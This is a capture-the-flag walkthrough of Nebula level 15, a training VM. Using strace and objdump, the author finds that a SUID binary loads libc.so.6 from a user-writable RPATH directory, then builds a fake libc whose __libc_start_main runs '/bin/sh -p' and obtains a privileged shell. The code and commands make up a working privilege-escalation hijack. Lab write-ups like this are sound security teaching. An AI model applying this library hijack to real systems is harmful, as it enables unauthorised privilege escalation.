Nebula - 15

Play this article

Table of contents

Objective

strace the binary at /home/flag15/flag15 and see if you spot anything out of the ordinary.

You may wish to review how to “compile a shared library in linux” and how the libraries are loaded and processed by reviewing the dlopen manpage in depth.

Clean up after yourself :)

To do this level, log in as the level15 account with the password level15. Files for this level can be found in /home/flag15.

Getting the flag

We are starting at strace the binary:

level15@nebula:/home/flag15$ strace ./flag15 
execve("./flag15", ["./flag15"], [/* 19 vars */]) = 0
brk(0)                 = 0x8794000
access("/etc/ld.so.nohwcap", F_OK)   = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb77ea000
access("/etc/ld.so.preload", R_OK)   = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbf89d004) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2", 0xbf89d004) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/cmov", 0xbf89d004) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686", 0xbf89d004) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2/cmov", 0xbf89d004) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2", 0xbf89d004) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/cmov", 0xbf89d004) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls", 0xbf89d004) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2/cmov", 0xbf89d004) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2", 0xbf89d004) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/cmov", 0xbf89d004) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686", 0xbf89d004) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2/cmov", 0xbf89d004) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2", 0xbf89d004) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/cmov", 0xbf89d004) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15", {st_mode=S_IFDIR|0775, st_size=3, ...}) = 0
open("/etc/ld.so.cache", O_RDONLY)   = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=33815, ...}) = 0
mmap2(NULL, 33815, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb77e1000
close(3)                = 0
access("/etc/ld.so.nohwcap", F_OK)   = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\222\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1544392, ...}) = 0
mmap2(NULL, 1554968, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x94b000
mmap2(0xac1000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x176) = 0xac1000
mmap2(0xac4000, 10776, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xac4000
close(3)                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb77e0000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb77e08d0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0xac1000, 8192, PROT_READ)   = 0
mprotect(0x8049000, 4096, PROT_READ)  = 0
mprotect(0xe40000, 4096, PROT_READ)   = 0
munmap(0xb77e1000, 33815)        = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb77e9000
write(1, "strace it!\n", 11strace it!
)      = 11
exit_group(11)             = ?

What does this wall of text tells us?

The binary is calling for libc.so.6 in the /var/tmp/flag15 and after several fails it loads the /lib/i386-linux-gnu/libc.so.6 and writing the "strace it!" message.

We can also have a look inside the binary with objdump:

level15@nebula:/home/flag15$ objdump -p flag15

flag15:   file format elf32-i386

Program Header:
  PHDR off  0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2
     filesz 0x00000120 memsz 0x00000120 flags r-x
 INTERP off  0x00000154 vaddr 0x08048154 paddr 0x08048154 align 2**0
     filesz 0x00000013 memsz 0x00000013 flags r--
  LOAD off  0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
     filesz 0x000005d4 memsz 0x000005d4 flags r-x
  LOAD off  0x00000f0c vaddr 0x08049f0c paddr 0x08049f0c align 2**12
     filesz 0x00000108 memsz 0x00000110 flags rw-
 DYNAMIC off  0x00000f20 vaddr 0x08049f20 paddr 0x08049f20 align 2**2
     filesz 0x000000d0 memsz 0x000000d0 flags rw-
  NOTE off  0x00000168 vaddr 0x08048168 paddr 0x08048168 align 2**2
     filesz 0x00000044 memsz 0x00000044 flags r--
EH_FRAME off  0x000004dc vaddr 0x080484dc paddr 0x080484dc align 2**2
     filesz 0x00000034 memsz 0x00000034 flags r--
  STACK off  0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
     filesz 0x00000000 memsz 0x00000000 flags rw-
  RELRO off  0x00000f0c vaddr 0x08049f0c paddr 0x08049f0c align 2**0
     filesz 0x000000f4 memsz 0x000000f4 flags r--

Dynamic Section:
 NEEDED        libc.so.6
 RPATH        /var/tmp/flag15
 INIT         0x080482c0
 FINI         0x080484ac
 GNU_HASH       0x080481ac
 STRTAB        0x0804821c
 SYMTAB        0x080481cc
 STRSZ        0x0000005a
 SYMENT        0x00000010
 DEBUG        0x00000000
 PLTGOT        0x08049ff4
 PLTRELSZ       0x00000018
 PLTREL        0x00000011
 JMPREL        0x080482a8
 REL         0x080482a0
 RELSZ        0x00000008
 RELENT        0x00000008
 VERNEED       0x08048280
 VERNEEDNUM      0x00000001
 VERSYM        0x08048276

Version References:
 required from libc.so.6:
  0x0d696910 0x00 02 GLIBC_2.0

From this, we can learn that this binary was compiled with /var/tmp/flag15 as RPATH and it is expecting the libc.so.6 library there.

We can also check if this directory is writable for our user level15:

level15@nebula:/home/flag15$ ls -lah /var/tmp/flag15
total 0
drwxrwxr-x 2 level15 level15 3 2012-10-31 01:38 .
drwxrwxrwt 3 root  root  29 2012-08-23 18:46 ..

We can try putting our shell named libc.so.6to get it running with SUID.

Let's start with a simple C binary that will call for a /bin/sh with -p flag (as we would not want to keep our effective UID):

level15@nebula:/var/tmp/flag15$ cat shell.c 
  #include<stdio.h>

  int __libc_start_main(int (*main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) {
    system("/bin/sh -p");
    return 0;
  }

Let's compile and run it:

level15@nebula:/var/tmp/flag15$ gcc -shared -static-libgcc -fPIC -Wl,-Bstatic shell.c -o libc.so.6
level15@nebula:/var/tmp/flag15$ /home/flag15/flag15 
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)
Inconsistency detected by ld.so: dl-lookup.c: 169: check_match: Assertion `version->filename == ((void *)0) || ! _dl_name_match_p (version->filename, map)' failed!

What is this? I have never seen this error message before. Likely, we have Stack Overflow.

level15@nebula:/var/tmp/flag15$ cat v
  GLIBC_2.0 {
  };

And we need to compile our shell with this information now:

level15@nebula:/var/tmp/flag15$ gcc -shared -static-libgcc -fPIC -Wl,--version-script=v,-Bstatic shell.c -o libc.so.6

The decisive moment:

level15@nebula:/var/tmp/flag15$ /home/flag15/flag15 
sh-4.2$ getflag
You have successfully executed getflag on a target account